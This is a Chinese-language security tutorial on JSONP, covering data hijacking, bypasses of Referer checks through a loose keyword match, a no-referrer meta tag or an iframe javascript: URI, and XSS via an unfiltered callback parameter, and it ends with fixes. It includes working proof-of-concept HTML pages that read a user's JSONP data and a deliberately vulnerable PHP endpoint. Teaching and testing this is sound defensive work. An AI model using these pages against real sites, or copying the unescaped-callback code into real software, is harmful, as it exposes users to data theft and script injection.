0x01 关于 JSONP

JSONP 全称是 JSON with Padding ,基于 JSON 格式的为解决跨域请求资源而产生的解决方案。

由于浏览器同源策略的限制,浏览器只允许XmlHttpRequest请求当前相同的(域名、协议、端口)的资源,而对请求script资源没有限制。

原理: 客户端通过请求script标签发出跨域请求,然后服务端输出JSON数据并且执行回调函数,这种跨域的数据输出方式称为JSONP。

简单原理说明: 使用了 <script></script> 元素标签远程调用JSON文件来实现数据传递。

0x02 可造成的危害

  1. JSONP 数据劫持
  2. callback 无过滤导致的xss

0x03 JSONP 劫持示例

  1. # 服务器请求地址: http://aphp.test/jsonp/test_jsonp.php?callback=jsonCallback
  2. <?php
  3. header('Content-type: application/json');
  4. $callback = htmlspecialchars($_REQUEST['callback']);
  5. if (!isset($callback) || empty($callback)) {
  6. $callback = 'callback';
  7. }
  8. $data = array('username'=>'P喵呜-phpoop','email' => '3303003493@qq.com');
  9. $json = json_encode($data);
  10. echo $callback."(".$json.")";
  1. # 客户端请求地址: http://127.0.0.1/jsonp/jsonp_test.html
  2. <!DOCTYPE html>
  3. <html lang='en'>
  4. <head>
  5. <title>jsonp</title>
  6. </head>
  7. <body>
  8. jsonp劫持测试
  9. </body>
  10. <script>
  11. function jsonCallback(data){
  12. alert(JSON.stringify(data));
  13. }
  14. </script>
  15. <script src="http://aphp.test/jsonp/test_jsonp.php?callback=jsonCallback"></script>
  16. </html>

1.png
2.png
成功劫持到用户数据

0x04 JSONP 劫持绕过方法

0x04.1 Referer 过滤(正则)不严谨

例如: http://aphp.test/jsonp/test_jsonp.php?callback=jsonCallback 输出数据时,验证了 Referer

但是可惜验证的时候只验证了 Referer 中是否存在 aphp.test 这个关键词

那么攻击者可以构造url:http://127.0.0.1/aphp.test.html 或是 http://127.0.0.1/attack.htm?aphp.test
构造这样的url来发起攻击实现绕过 Referer 防御

0x04.2 空 Referer 绕过

有时开发者过滤时会允许 Referer 来源为空,因为一般情况下浏览器直接访问某个 URL 是不带 Referer 的,所以我们有时可利用这个特点来进行绕过

  1. # 利用 <meta> 标签实现空 Referer
  2. <!DOCTYPE html>
  3. <html lang='en'>
  4. <head>
  5. <meta name="referrer" content="never" charset="utf-8">
  6. <title>jsonp 不带Referer</title>
  7. </head>
  8. <body>
  9. jsonp 不带Referer 劫持测试
  10. </body>
  11. <script>
  12. function jsonCallback(data){
  13. alert(JSON.stringify(data));
  14. }
  15. </script>
  16. <script src="http://aphp.test/jsonp/test_jsonp.php?callback=jsonCallback"></script>
  17. </html>
  1. # 利用 <iframe> 标签调用 javscript 伪协议来实现空 Referer 调用 JSON 文件
  2. <!DOCTYPE html>
  3. <html lang='en'>
  4. <head>
  5. <title>jsonp 不带Referer</title>
  6. </head>
  7. <body>
  8. jsonp 不带Referer 劫持测试
  9. </body>
  10. <iframe src="javascript:'<script>function jsonCallback(data){alert(JSON.stringify(data));}</script> <script src=http://aphp.test/jsonp/test_jsonp.php?callback=jsonCallback></script>'" frameborder="0"></iframe>
  11. </html>

3.png

0x05 Callback 可定义导致的安全问题

一般开发为了前端可以方便调用,一般输出的Callback都是可自定义的,这就导致了,如果过滤不严格,或是 Content-Type 没设置好就可能导致xss
注意: 严格来说如果输出的数据也是攻击者可控,那么也是可能造成危害的,只是本文强调了 Callback 这个输出点
如下测试一段代码

  1. <?php
  2. $callback = $_REQUEST['callback'];
  3. if (!isset($callback) || empty($callback)) {
  4. $callback = 'callback';
  5. }
  6. $data = array('username'=>'P喵呜-phpoop','email' => '3303003493@qq.com');
  7. $json = json_encode($data);
  8. echo $callback."(".$json.")";

打开url: http://aphp.test/jsonp/test_jsonp.php?callback=jsonCallback;%3C/script%3E)
4.png5.png

0x06 JSONP 修复方法

  1. 验证 HTTP Referer 头信息
  2. 在请求中添加 csrfToken 并在后端进行验证
  3. 按照 JSON 格式标准输出, Content-Type 设置为(Content-Type : application/json; charset=utf-8)
  4. 严格过滤 callback 函数名及 JSON 里数据的输出(防止xss)